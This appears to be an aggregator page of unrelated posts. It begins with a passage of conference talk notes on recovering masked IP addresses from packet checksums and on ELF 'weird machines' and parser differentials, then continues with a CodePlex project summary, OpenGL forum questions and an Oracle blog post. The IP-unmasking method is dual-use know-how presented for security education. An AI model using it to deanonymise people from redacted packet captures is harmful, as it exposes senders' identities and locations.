Other parts of packet may leak more data about the IP. TCP and IP checksums both refer to the same data, so can get more bits of information out of using both checksums than just using one checksum. Also, one can usually determine the OS from the TTL field and ports in a packet header. If we get hundreds of possible results (16x each masked nibble that is unknown), one can do other things to narrow the results, such as look at packet contents for domain or geo information. With hundreds of results, can import as CSV format into a spreadsheet. Can corelate with geo data and see where each possibility is located. Eric then demoed a real email report with a masked IP packet attached. Was able to find the exact IP address, given the geo and university of the sender. Point is if you're going to mask a packet, do it right. Eric wouldn't usually bother, but do it correctly if at all, to not create a false impression of security. Adventures with weird machines thirty years after "Reflections on Trusting Trust" Sergey Bratus Sergey Bratus, Dartmouth College (and Julian Bangert and Rebecca Shapiro, not present) "Reflections on Trusting Trust" refers to Ken Thompson's classic 1984 paper. "You can't trust code that you did not totally create yourself." There's invisible links in the chain-of-trust, such as "well-installed microcode bugs" or in the compiler, and other planted bugs. Thompson showed how a compiler can introduce and propagate bugs in unmodified source. But suppose if there's no bugs and you trust the author, can you trust the code? Hell No! There's too many factors—it's Babylonian in nature. Why not? Well, Input is not well-defined/recognized (code's assumptions about "checked" input will be violated (bug/vunerabiliy). For example, HTML is recursive, but Regex checking is not recursive. Input well-formed but so complex there's no telling what it does For example, ELF file parsing is complex and has multiple ways of parsing. Input is seen differently by different pieces of program or toolchain Any Input is a program input executes on input handlers (drives state changes & transitions) only a well-defined execution model can be trusted (regex/DFA, PDA, CFG) Input handler either is a "recognizer" for the inputs as a well-defined language (see langsec.org) or it's a "virtual machine" for inputs to drive into pwn-age ELF ABI (UNIX/Linux executible file format) case study. Problems can arise from these steps (without planting bugs): compiler linker loader ld.so/rtld relocator DWARF (debugger info) exceptions The problem is you can't really automatically analyze code (it's the "halting problem" and undecidable). Only solution is to freeze code and sign it. But you can't freeze everything! Can't freeze ASLR or loading—must have tables and metadata. Any sufficiently complex input data is the same as VM byte code Example, ELF relocation entries + dynamic symbols == a Turing Complete Machine (TM). @bxsays created a Turing machine in Linux from relocation data (not code) in an ELF file. For more information, see Rebecca "bx" Shapiro's presentation from last year's Toorcon, "Programming Weird Machines with ELF Metadata" @bxsays did same thing with Mach-O bytecode Or a DWARF exception handling data .eh_frame + glibc == Turning Machine X86 MMU (IDT, GDT, TSS): used address translation to create a Turning Machine. Page handler reads and writes (on page fault) memory. Uses a page table, which can be used as Turning Machine byte code. Example on Github using this TM that will fly a glider across the screen Next Sergey talked about "Parser Differentials". That having one input format, but two parsers, will create confusion and opportunity for exploitation. For example, CSRs are parsed during creation by cert requestor and again by another parser at the CA. Another example is ELF—several parsers in OS tool chain, which are all different. Can have two different Program Headers (PHDRs) because ld.so parses multiple PHDRs. The second PHDR can completely transform the executable. This is described in paper in the first issue of International Journal of PoC. Conclusions trusting computers not only about bugs! Bugs are part of a problem, but no by far all of it complex data formats means bugs no "chain of trust" in Babylon! (that is, with parser differentials) we need to squeeze complexity out of data until data stops being "code equivalent" Further information See and langsec.org. USENIX WOOT 2013 (Workshop on Offensive Technologies) for "weird machines" papers and videos.

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  • CodePlex Daily Summary for Friday, April 16, 2010

    CodePlex Daily Summary for Friday, April 16, 2010New Projects[C#] UML Touch: This project is my master thesis project for Msc Software Engineering at Oxford Brookes univesity. The goal of this project is to develop a UML Edi...3D Chart Reports, using ASP.NET 2.0: Project focuses on the visibility of internal supply chain management process. The objective is materialized, using MSChart and hence provides asse...Active Directory Health: ActiveDirectoryHealth (ADHealth) Aim: To create a suite of tools to allow an Active Directory administrator monitor and identify problems, particu...Art4Desktop: Aplicação desktop simplesAuto Increment field for any entity in MS CRM: Auto Increment field for any entity in MS CRM will add an attribute in any entity which will be auto increment type.Convection Game Engine (Basic Edition): A basic 2D game engine written in C# using XNA 3.1CSharp Intellisense: VS 2010 IntelliSense plug-in Provides custom IntelliSense for the CSharp Editor that is capable to filter out events, preoperties or methods. ...EP: Generic platform for enterprise applications developed on .NETFile Change Checker: A simple windows form application that checks and copies all modified files given a specified date. It aims to help developers that use Visual Stu...Folder: Folder is a puzzle platformer game, which provides you a whole new experience. You can fold objects in game play; a wall becomes a road, a high sti...Industrial Dashboard: WCF service that allows executing SQL Server stored procedures straight from javascript code, enabling sending and receiving structured data withou...kafrilion: Open Source Platform GameLogikBug.Injection: LogikBug.Injection is an IOC container and is very light weight. It is very simple to use and yet very roboust, there are many options and ways to ...MongoMvc: NoSql with MongoDB, NoRM and ASP.NET MVC. For more details check out the blog post http://weblogs.asp.net/shijuvarghese/archive/2010/04/16/nosql-wi...MOSSDAL: MOSS Data Access Layer for data from the Sharepoint Lists Service: MOSSDAL is a lightweight framework for working with Sharepoint MOSS List data using the List web Service. It can be used with silverlight or regul...Should: This is a set of test framework agnostic extensions assetion extensions. This project was born because test runners Should be independent of the...Software Localization Tool: summaryTIMETABLEASY: planning managerTR9: implementions of t9 technologies from mobile device to personal computer and laptopTrp net tools: net toolTwep: Twep is a JavaScript lib.Using PowerPivot to analyze MS Dynamics NAV: Project show how to prepare MS Dynamics NAV data for analyzing in PowerPivot for Excel. Project include Data Warehouse demo database, sql procedure...vmware virtual mashines management system for education: System for management many classes with PC and VMware virtual mashines (bad english,sorry)WebSite: Mr. John's projectsWebtrends DX and DC Services Libraries: This project is setup to provide assemblies to simplify access to the REST based DX and DC Web Services that Webtrends Provides. For access you ne...YetAnotherFileRenamer: Searches a directory and/or sub-directories for files matching a certain extension and copies and renames them to the same folder. The intent is a...New Releases3D Chart Reports, using ASP.NET 2.0: Beta iscm1.0.0.1: Its first release, might be a tolerant to bugs.A Guide to Parallel Programming: Drop 2 - Guide Chapters 2 and 5, accompanying code: This is Drop 2 with just the Guide Chapters 2 and 5 and the accompanying code samples. This drop requires Visual Studio 2010 Beta 2 or later in ord...AnimeJ: AnimeJ 1.1: This new release features reversible animations. It is fully backward compatible, and by simply specifying an additional parameter to Run() you can...AutoPoco: AutoPoco 0.4: A load of additions to the convention system Inheritance precedence added And a pile of extra data sourcesCSharp Intellisense: V1.5: CSharpIntellisensePresenter(Free) Created by: Bnaya Eshet (Bnaya Eshet (credit to Karl Shifflett)) Last Updated: Tuesday, April 13, 2010 Version...DevTreks -social budgeting that improves lives and livelihoods: Social Budgeting Web Software, DevTreks alpha 4: Alpha 4 upgrades all story-telling with one very basic, simple, 'story' data pattern, schema, and stylesheet. Basic, simple, stories and eBook pa...ESPEHA: Espeha 4.3: Deletion of categories and tasks via F8 Saving on CtrlS, CtrlShiftS Navigating to search on CtrlF Hiding on CtrlQ, CtrlX, CtrlH, Q, X, H + Drag ...Folder Bookmarks: Folder Bookmarks 1.4.4: This is the latest version of Folder Bookmarks (1.4.4), with general improvements. It has an installer - it will create a directory 'CPascoe' in My...HouseFly controls: HouseFly controls alpha 0.9.1: Version 0.9.1 alpha release of HouseFly controlsIndustrial Dashboard: 2.0 Beta: 2.0 Beta includes : IndustrialDashboard Framework Sample widgets : TabularReport, DropDownPicker, DatePicker, ScopePicker Sample html pageskdar: KDAR 0.0.20: KDAR - Kernel Debugger Anti Rootkit - signature's bases updated - many bugs fixedLogikBug.Injection: Initial Release: This project is dependent upon Microsoft.Practices.ServiceLocation.IServiceLocator and must be referenced when referencing LogikBug.Injection.Mesopotamia Experiment: Mesopotamia 1.2.72: New Features - Select organims to load in sim or in hw mode Fixes - fixed robotics engine not shutting down properly - selects new robotics port o...MobySharp: MobySharp 1.1: Fixed GetComments Added the new Likes featureMongoMvc: NoSQL with MongoDB, NoRM and ASP.NET MVC: A demo on NoSQL with MongoDB, NoRM and ASP.NET MVC. To run the demo application do the ollowing actions. 1. Create a directory call C:\data\...NetMassDownloader: Release 1.6.0.0: Mass Downloader For .Net Framework which allows you do download .Net Framework source code all at once.Offline debugging for VS2005 , VS2008 , Code...Nito.KitchenSink: Version 4: Features added in this release: PDBs are source-indexed to CodePlex, so it should be possible to step through the code (with on-demand downloads) w...Nito.KitchenSink: Version 5: The only feature for this release is support of the .NET 4.0 platform. Dependencies Nito.Linq 0.4 Beta (released 2010-04-15) Rx 1.0.2441.0 (rele...Nito.LINQ: Beta (v0.4): Rx version The "with Rx" versions of Nito.LINQ are built against Rx 1.0.2441.0, released 2010-04-15. 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Ask questions in our Silverlight Toolkit forum on Silverlight.net. The forum is the best resource for Silverlig...Software Localization Tool: SharpSLT 0.9: This is the first release of SharpSLT. Features Framework: .Net 3.5 UI language: English Works as standalone and External Tool for Visual C# Ex...Star Trooper for XNA 2D Tutorial: Lesson two content: Here is Lesson two original content for the StarTrooper 2D XNA tutorial. The blog tutorial has now started over on http://xna-uk.net/blogs/darkgen...StyleCop for ReSharper: StyleCop for ReSharper 5.0.14714.1: StyleCop for ReSharper 5.0.14714.1 o StyleCop 4.3.3.0 o ReSharper 5.0.1659.36 o Visual Studio 2008 / Visual Studio 2010 Installation Instructi...TaskUnZip for SSIS: TaskUnZip for SSIS 1.1.1.0 (beta 2): Ver. 1.1.1.0 (beta2) Bug: Correct installation bug. Add: Support SQL SERVER 2008 / 2005 Minor corrections Ver. 1.1.0.0 (Tnx to: Kevin Wendler)...TaskUnZip for SSIS: TaskUnZip for SSIS 1.2.0.0: Ver. 1.2.0.0 Add: Support SQL SERVER 2008 / 2005. Add: recursive compress.* Add: filter option for extract e compress file.* Add: Test archiv...Test Project (ignore): abcde: aaaaadaTR9: TR9 Beta: this setup is first release of the program.TR9: TR9 Source Code: TR9 Source CodeUsing PowerPivot to analyze MS Dynamics NAV: GL sql procedures and demo DB: For using sql procedures and creating DW database, please see Documentation.VivoSocial: VivoSocial 7.1.1: Version 7.1.1 of VivoSocial has been released. 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ChangesThe Uri should be correctly generated no...Most Popular ProjectsRawrWBFS ManagerAJAX Control ToolkitMicrosoft SQL Server Product Samples: DatabaseSilverlight ToolkitWindows Presentation Foundation (WPF)ASP.NETMicrosoft SQL Server Community & SamplesPHPExcelpatterns & practices – Enterprise LibraryMost Active ProjectsRawrpatterns & practices – Enterprise LibraryGMap.NET - Great Maps for Windows Forms & PresentationIndustrial DashboardFarseer Physics EngineIonics Isapi Rewrite FilterNB_Store - Free DotNetNuke Ecommerce Catalog ModuleBlogEngine.NETjQuery Library for SharePoint Web ServicesDotRas

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  • Vertex buffer acting strange? [on hold]

    - by Ryan Capote
    I'm having a strange problem, and I don't know what could be causing it. My current code is identical to how I've done this before. I'm trying to render a rectangle using VBO and orthographic projection.   My results:     What I expect: 3x3 rectangle in the top left corner   #include <stdio.h> #include <GL\glew.h> #include <GLFW\glfw3.h> #include "lodepng.h"   static const int FALSE = 0; static const int TRUE = 1;   static const char* VERT_SHADER =     "#version 330\n"       "layout(location=0) in vec4 VertexPosition; "     "layout(location=1) in vec2 UV;"     "uniform mat4 uProjectionMatrix;"     /*"out vec2 TexCoords;"*/       "void main(void) {"     "    gl_Position = uProjectionMatrix*VertexPosition;"     /*"    TexCoords = UV;"*/     "}";   static const char* FRAG_SHADER =     "#version 330\n"       /*"uniform sampler2D uDiffuseTexture;"     "uniform vec4 uColor;"     "in vec2 TexCoords;"*/     "out vec4 FragColor;"       "void main(void) {"    /* "    vec4 texel = texture2D(uDiffuseTexture, TexCoords);"     "    if(texel.a <= 0) {"     "         discard;"     "    }"     "    FragColor = texel;"*/     "    FragColor = vec4(1.f);"     "}";   static int g_running; static GLFWwindow *gl_window; static float gl_projectionMatrix[16];   /*     Structures */ typedef struct _Vertex {     float x, y, z, w;     float u, v; } Vertex;   typedef struct _Position {     float x, y; } Position;   typedef struct _Bitmap {     unsigned char *pixels;     unsigned int width, height; } Bitmap;   typedef struct _Texture {     GLuint id;     unsigned int width, height; } Texture;   typedef struct _VertexBuffer {     GLuint bufferObj, vertexArray; } VertexBuffer;   typedef struct _ShaderProgram {     GLuint vertexShader, fragmentShader, program; } ShaderProgram;   /*   http://en.wikipedia.org/wiki/Orthographic_projection */ void createOrthoProjection(float *projection, float width, float height, float far, float near)  {       const float left = 0;     const float right = width;     const float top = 0;     const float bottom = height;          projection[0] = 2.f / (right - left);     projection[1] = 0.f;     projection[2] = 0.f;     projection[3] = -(right+left) / (right-left);     projection[4] = 0.f;     projection[5] = 2.f / (top - bottom);     projection[6] = 0.f;     projection[7] = -(top + bottom) / (top - bottom);     projection[8] = 0.f;     projection[9] = 0.f;     projection[10] = -2.f / (far-near);     projection[11] = (far+near)/(far-near);     projection[12] = 0.f;     projection[13] = 0.f;     projection[14] = 0.f;     projection[15] = 1.f; }   /*     Textures */ void loadBitmap(const char *filename, Bitmap *bitmap, int *success) {     int error = lodepng_decode32_file(&bitmap->pixels, &bitmap->width, &bitmap->height, filename);       if (error != 0) {         printf("Failed to load bitmap. ");         printf(lodepng_error_text(error));         success = FALSE;         return;     } }   void destroyBitmap(Bitmap *bitmap) {     free(bitmap->pixels); }   void createTexture(Texture *texture, const Bitmap *bitmap) {     texture->id = 0;     glGenTextures(1, &texture->id);     glBindTexture(GL_TEXTURE_2D, texture);       glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);     glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);     glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);     glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);       glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, bitmap->width, bitmap->height, 0,              GL_RGBA, GL_UNSIGNED_BYTE, bitmap->pixels);       glBindTexture(GL_TEXTURE_2D, 0); }   void destroyTexture(Texture *texture) {     glDeleteTextures(1, &texture->id);     texture->id = 0; }   /*     Vertex Buffer */ void createVertexBuffer(VertexBuffer *vertexBuffer, Vertex *vertices) {     glGenBuffers(1, &vertexBuffer->bufferObj);     glGenVertexArrays(1, &vertexBuffer->vertexArray);     glBindVertexArray(vertexBuffer->vertexArray);       glBindBuffer(GL_ARRAY_BUFFER, vertexBuffer->bufferObj);     glBufferData(GL_ARRAY_BUFFER, sizeof(Vertex) * 6, (const GLvoid*)vertices, GL_STATIC_DRAW);       const unsigned int uvOffset = sizeof(float) * 4;       glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, sizeof(Vertex), 0);     glVertexAttribPointer(1, 2, GL_FLOAT, GL_FALSE, sizeof(Vertex), (GLvoid*)uvOffset);       glEnableVertexAttribArray(0);     glEnableVertexAttribArray(1);       glBindBuffer(GL_ARRAY_BUFFER, 0);     glBindVertexArray(0); }   void destroyVertexBuffer(VertexBuffer *vertexBuffer) {     glDeleteBuffers(1, &vertexBuffer->bufferObj);     glDeleteVertexArrays(1, &vertexBuffer->vertexArray); }   void bindVertexBuffer(VertexBuffer *vertexBuffer) {     glBindVertexArray(vertexBuffer->vertexArray);     glBindBuffer(GL_ARRAY_BUFFER, vertexBuffer->bufferObj); }   void drawVertexBufferMode(GLenum mode) {     glDrawArrays(mode, 0, 6); }   void drawVertexBuffer() {     drawVertexBufferMode(GL_TRIANGLES); }   void unbindVertexBuffer() {     glBindVertexArray(0);     glBindBuffer(GL_ARRAY_BUFFER, 0); }   /*     Shaders */ void compileShader(ShaderProgram *shaderProgram, const char *vertexSrc, const char *fragSrc) {     GLenum err;     shaderProgram->vertexShader = glCreateShader(GL_VERTEX_SHADER);     shaderProgram->fragmentShader = glCreateShader(GL_FRAGMENT_SHADER);       if (shaderProgram->vertexShader == 0) {         printf("Failed to create vertex shader.");         return;     }       if (shaderProgram->fragmentShader == 0) {         printf("Failed to create fragment shader.");         return;     }       glShaderSource(shaderProgram->vertexShader, 1, &vertexSrc, NULL);     glCompileShader(shaderProgram->vertexShader);     glGetShaderiv(shaderProgram->vertexShader, GL_COMPILE_STATUS, &err);       if (err != GL_TRUE) {         printf("Failed to compile vertex shader.");         return;     }       glShaderSource(shaderProgram->fragmentShader, 1, &fragSrc, NULL);     glCompileShader(shaderProgram->fragmentShader);     glGetShaderiv(shaderProgram->fragmentShader, GL_COMPILE_STATUS, &err);       if (err != GL_TRUE) {         printf("Failed to compile fragment shader.");         return;     }       shaderProgram->program = glCreateProgram();     glAttachShader(shaderProgram->program, shaderProgram->vertexShader);     glAttachShader(shaderProgram->program, shaderProgram->fragmentShader);     glLinkProgram(shaderProgram->program);          glGetProgramiv(shaderProgram->program, GL_LINK_STATUS, &err);       if (err != GL_TRUE) {         printf("Failed to link shader.");         return;     } }   void destroyShader(ShaderProgram *shaderProgram) {     glDetachShader(shaderProgram->program, shaderProgram->vertexShader);     glDetachShader(shaderProgram->program, shaderProgram->fragmentShader);       glDeleteShader(shaderProgram->vertexShader);     glDeleteShader(shaderProgram->fragmentShader);       glDeleteProgram(shaderProgram->program); }   GLuint getUniformLocation(const char *name, ShaderProgram *program) {     GLuint result = 0;     result = glGetUniformLocation(program->program, name);       return result; }   void setUniformMatrix(float *matrix, const char *name, ShaderProgram *program) {     GLuint loc = getUniformLocation(name, program);       if (loc == -1) {         printf("Failed to get uniform location in setUniformMatrix.\n");         return;     }       glUniformMatrix4fv(loc, 1, GL_FALSE, matrix); }   /*     General functions */ static int isRunning() {     return g_running && !glfwWindowShouldClose(gl_window); }   static void initializeGLFW(GLFWwindow **window, int width, int height, int *success) {     if (!glfwInit()) {         printf("Failed it inialize GLFW.");         *success = FALSE;        return;     }          glfwWindowHint(GLFW_RESIZABLE, 0);     *window = glfwCreateWindow(width, height, "Alignments", NULL, NULL);          if (!*window) {         printf("Failed to create window.");         glfwTerminate();         *success = FALSE;         return;     }          glfwMakeContextCurrent(*window);       GLenum glewErr = glewInit();     if (glewErr != GLEW_OK) {         printf("Failed to initialize GLEW.");         printf(glewGetErrorString(glewErr));         *success = FALSE;         return;     }       glClearColor(0.f, 0.f, 0.f, 1.f);     glViewport(0, 0, width, height);     *success = TRUE; }   int main(int argc, char **argv) {          int err = FALSE;     initializeGLFW(&gl_window, 480, 320, &err);     glDisable(GL_DEPTH_TEST);     if (err == FALSE) {         return 1;     }          createOrthoProjection(gl_projectionMatrix, 480.f, 320.f, 0.f, 1.f);          g_running = TRUE;          ShaderProgram shader;     compileShader(&shader, VERT_SHADER, FRAG_SHADER);     glUseProgram(shader.program);     setUniformMatrix(&gl_projectionMatrix, "uProjectionMatrix", &shader);       Vertex rectangle[6];     VertexBuffer vbo;     rectangle[0] = (Vertex){0.f, 0.f, 0.f, 1.f, 0.f, 0.f}; // Top left     rectangle[1] = (Vertex){3.f, 0.f, 0.f, 1.f, 1.f, 0.f}; // Top right     rectangle[2] = (Vertex){0.f, 3.f, 0.f, 1.f, 0.f, 1.f}; // Bottom left     rectangle[3] = (Vertex){3.f, 0.f, 0.f, 1.f, 1.f, 0.f}; // Top left     rectangle[4] = (Vertex){0.f, 3.f, 0.f, 1.f, 0.f, 1.f}; // Bottom left     rectangle[5] = (Vertex){3.f, 3.f, 0.f, 1.f, 1.f, 1.f}; // Bottom right       createVertexBuffer(&vbo, &rectangle);            bindVertexBuffer(&vbo);          while (isRunning()) {         glClear(GL_COLOR_BUFFER_BIT);         glfwPollEvents();                    drawVertexBuffer();                    glfwSwapBuffers(gl_window);     }          unbindVertexBuffer(&vbo);       glUseProgram(0);     destroyShader(&shader);     destroyVertexBuffer(&vbo);     glfwTerminate();     return 0; }

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  • Reference Data Management

    - by rahulkamath
    Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} table.MsoTableColorfulListAccent2 {mso-style-name:"Colorful List - Accent 2"; mso-tstyle-rowband-size:1; mso-tstyle-colband-size:1; mso-style-priority:72; mso-style-unhide:no; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-tstyle-shading:#F8EDED; mso-tstyle-shading-themecolor:accent2; mso-tstyle-shading-themetint:25; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Calibri","sans-serif"; color:black; mso-themecolor:text1;} table.MsoTableColorfulListAccent2FirstRow {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:first-row; mso-style-priority:72; mso-style-unhide:no; mso-tstyle-shading:#9E3A38; mso-tstyle-shading-themecolor:accent2; mso-tstyle-shading-themeshade:204; mso-tstyle-border-bottom:1.5pt solid white; mso-tstyle-border-bottom-themecolor:background1; color:white; mso-themecolor:background1; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableColorfulListAccent2LastRow {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:last-row; mso-style-priority:72; mso-style-unhide:no; mso-tstyle-shading:white; mso-tstyle-shading-themecolor:background1; mso-tstyle-border-top:1.5pt solid black; mso-tstyle-border-top-themecolor:text1; color:#9E3A38; mso-themecolor:accent2; mso-themeshade:204; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableColorfulListAccent2FirstCol {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:first-column; mso-style-priority:72; mso-style-unhide:no; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableColorfulListAccent2LastCol {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:last-column; mso-style-priority:72; mso-style-unhide:no; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableColorfulListAccent2OddColumn {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:odd-column; mso-style-priority:72; mso-style-unhide:no; mso-tstyle-shading:#EFD3D2; mso-tstyle-shading-themecolor:accent2; mso-tstyle-shading-themetint:63; mso-tstyle-border-top:cell-none; mso-tstyle-border-left:cell-none; mso-tstyle-border-bottom:cell-none; mso-tstyle-border-right:cell-none; mso-tstyle-border-insideh:cell-none; mso-tstyle-border-insidev:cell-none;} table.MsoTableColorfulListAccent2OddRow {mso-style-name:"Colorful List - Accent 2"; mso-table-condition:odd-row; mso-style-priority:72; mso-style-unhide:no; mso-tstyle-shading:#F2DBDB; mso-tstyle-shading-themecolor:accent2; mso-tstyle-shading-themetint:51;} Reference Data Management Oracle Data Relationship Management (DRM) has always been extremely powerful as an Enterprise MDM solution that can help manage changes to master data in a way that influences enterprise structure, whether it be mastering chart of accounts to enable financial transformation, or revamping organization structures to drive business transformation and operational efficiencies, or mastering sales territories in light of rapid fire acquisitions that require frequent sales territory refinement, equitable distribution of leads and accounts to salespersons, and alignment of budget/forecast with results to optimize sales coverage. Increasingly, DRM is also being utilized by Oracle customers for reference data management, an emerging solution space that deserves some explanation. What is reference data? Reference data is a close cousin of master data. While master data may be more rapidly changing, requires consensus building across stakeholders and lends structure to business transactions, reference data is simpler, more slowly changing, but has semantic content that is used to categorize or group other information assets – including master data – and give them contextual value. The following table contains an illustrative list of examples of reference data by type. Reference data types may include types and codes, business taxonomies, complex relationships & cross-domain mappings or standards. Types & Codes Taxonomies Relationships / Mappings Standards Transaction Codes Industry Classification Categories and Codes, e.g., North America Industry Classification System (NAICS) Product / Segment; Product / Geo Calendars (e.g., Gregorian, Fiscal, Manufacturing, Retail, ISO8601) Lookup Tables (e.g., Gender, Marital Status, etc.) Product Categories City à State à Postal Codes Currency Codes (e.g., ISO) Status Codes Sales Territories (e.g., Geo, Industry Verticals, Named Accounts, Federal/State/Local/Defense) Customer / Market Segment; Business Unit / Channel Country Codes (e.g., ISO 3166, UN) Role Codes Market Segments Country Codes / Currency Codes / Financial Accounts Date/Time, Time Zones (e.g., ISO 8601) Domain Values Universal Standard Products and Services Classification (UNSPSC), eCl@ss International Classification of Diseases (ICD) e.g., ICD9 à IC10 mappings Tax Rates Why manage reference data? Reference data carries contextual value and meaning and therefore its use can drive business logic that helps execute a business process, create a desired application behavior or provide meaningful segmentation to analyze transaction data. Further, mapping reference data often requires human judgment. Sample Use Cases of Reference Data Management Healthcare: Diagnostic Codes The reference data challenges in the healthcare industry offer a case in point. Part of being HIPAA compliant requires medical practitioners to transition diagnosis codes from ICD-9 to ICD-10, a medical coding scheme used to classify diseases, signs and symptoms, causes, etc. The transition to ICD-10 has a significant impact on business processes, procedures, contracts, and IT systems. Since both code sets ICD-9 and ICD-10 offer diagnosis codes of very different levels of granularity, human judgment is required to map ICD-9 codes to ICD-10. The process requires collaboration and consensus building among stakeholders much in the same way as does master data management. Moreover, to build reports to understand utilization, frequency and quality of diagnoses, medical practitioners may need to “cross-walk” mappings -- either forward to ICD-10 or backwards to ICD-9 depending upon the reporting time horizon. Spend Management: Product, Service & Supplier Codes Similarly, as an enterprise looks to rationalize suppliers and leverage their spend, conforming supplier codes, as well as product and service codes requires supporting multiple classification schemes that may include industry standards (e.g., UNSPSC, eCl@ss) or enterprise taxonomies. Aberdeen Group estimates that 90% of companies rely on spreadsheets and manual reviews to aggregate, classify and analyze spend data, and that data management activities account for 12-15% of the sourcing cycle and consume 30-50% of a commodity manager’s time. Creating a common map across the extended enterprise to rationalize codes across procurement, accounts payable, general ledger, credit card, procurement card (P-card) as well as ACH and bank systems can cut sourcing costs, improve compliance, lower inventory stock, and free up talent to focus on value added tasks. Specialty Finance: Point of Sales Transaction Codes and Product Codes In the specialty finance industry, enterprises are confronted with usury laws – governed at the state and local level – that regulate financial product innovation as it relates to consumer loans, check cashing and pawn lending. To comply, it is important to demonstrate that transactions booked at the point of sale are posted against valid product codes that were on offer at the time of booking the sale. Since new products are being released at a steady stream, it is important to ensure timely and accurate mapping of point-of-sale transaction codes with the appropriate product and GL codes to comply with the changing regulations. Multi-National Companies: Industry Classification Schemes As companies grow and expand across geographies, a typical challenge they encounter with reference data represents reconciling various versions of industry classification schemes in use across nations. While the United States, Mexico and Canada conform to the North American Industry Classification System (NAICS) standard, European Union countries choose different variants of the NACE industry classification scheme. Multi-national companies must manage the individual national NACE schemes and reconcile the differences across countries. Enterprises must invest in a reference data change management application to address the challenge of distributing reference data changes to downstream applications and assess which applications were impacted by a given change.

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  • optimizing iPhone OpenGL ES fill rate

    - by NateS
    I have an Open GL ES game on the iPhone. My framerate is pretty sucky, ~20fps. Using the Xcode OpenGL ES performance tool on an iPhone 3G, it shows: Renderer Utilization: 95% to 99% Tiler Utilization: ~27% I am drawing a lot of pretty large images with a lot of blending. If I reduce the number of images drawn, framerates go from ~20 to ~40, though the performance tool results stay about the same (renderer still maxed). I think I'm being limited by the fill rate of the iPhone 3G, but I'm not sure. My questions are: How can I determine with more granularity where the bottleneck is? That is my biggest problem, I just don't know what is taking all the time. If it is fillrate, is there anything I do to improve it besides just drawing less? I am using texture atlases. I have tried to minimize image binds, though it isn't always possible (drawing order, not everything fits on one 1024x1024 texture, etc). Every frame I do 10 image binds. This seem pretty reasonable, but I could be mistaken. I'm using vertex arrays and glDrawArrays. I don't really have a lot of geometry. I can try to be more precise if needed. Each image is 2 triangles and I try to batch things were possible, though often (maybe half the time) images are drawn with individual glDrawArrays calls. Besides the images, I have ~60 triangles worth of geometry being rendered in ~6 glDrawArrays calls. I often glTranslate before calling glDrawArrays. Would it improve the framerate to switch to VBOs? I don't think it is a huge amount of geometry, but maybe it is faster for other reasons? Are there certain things to watch out for that could reduce performance? Eg, should I avoid glTranslate, glColor4g, etc? I'm using glScissor in a 3 places per frame. Each use consists of 2 glScissor calls, one to set it up, and one to reset it to what it was. I don't know if there is much of a performance impact here. If I used PVRTC would it be able to render faster? Currently all my images are GL_RGBA. I don't have memory issues. Here is a rough idea of what I'm drawing, in this order: 1) Switch to perspective matrix. 2) Draw a full screen background image 3) Draw a full screen image with translucency (this one has a scrolling texture). 4) Draw a few sprites. 5) Switch to ortho matrix. 6) Draw a few sprites. 7) Switch to perspective matrix. 8) Draw sprites and some other textured geometry. 9) Switch to ortho matrix. 10) Draw a few sprites (eg, game HUD). Steps 1-6 draw a bunch of background stuff. 8 draws most of the game content. 10 draws the HUD. As you can see, there are many layers, some of them full screen and some of the sprites are pretty large (1/4 of the screen). The layers use translucency, so I have to draw them in back-to-front order. This is further complicated by needing to draw various layers in ortho and others in perspective. I will gladly provide additional information if reqested. Thanks in advance for any performance tips or general advice on my problem!

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  • OpenGL antialiasing not working

    - by user146780
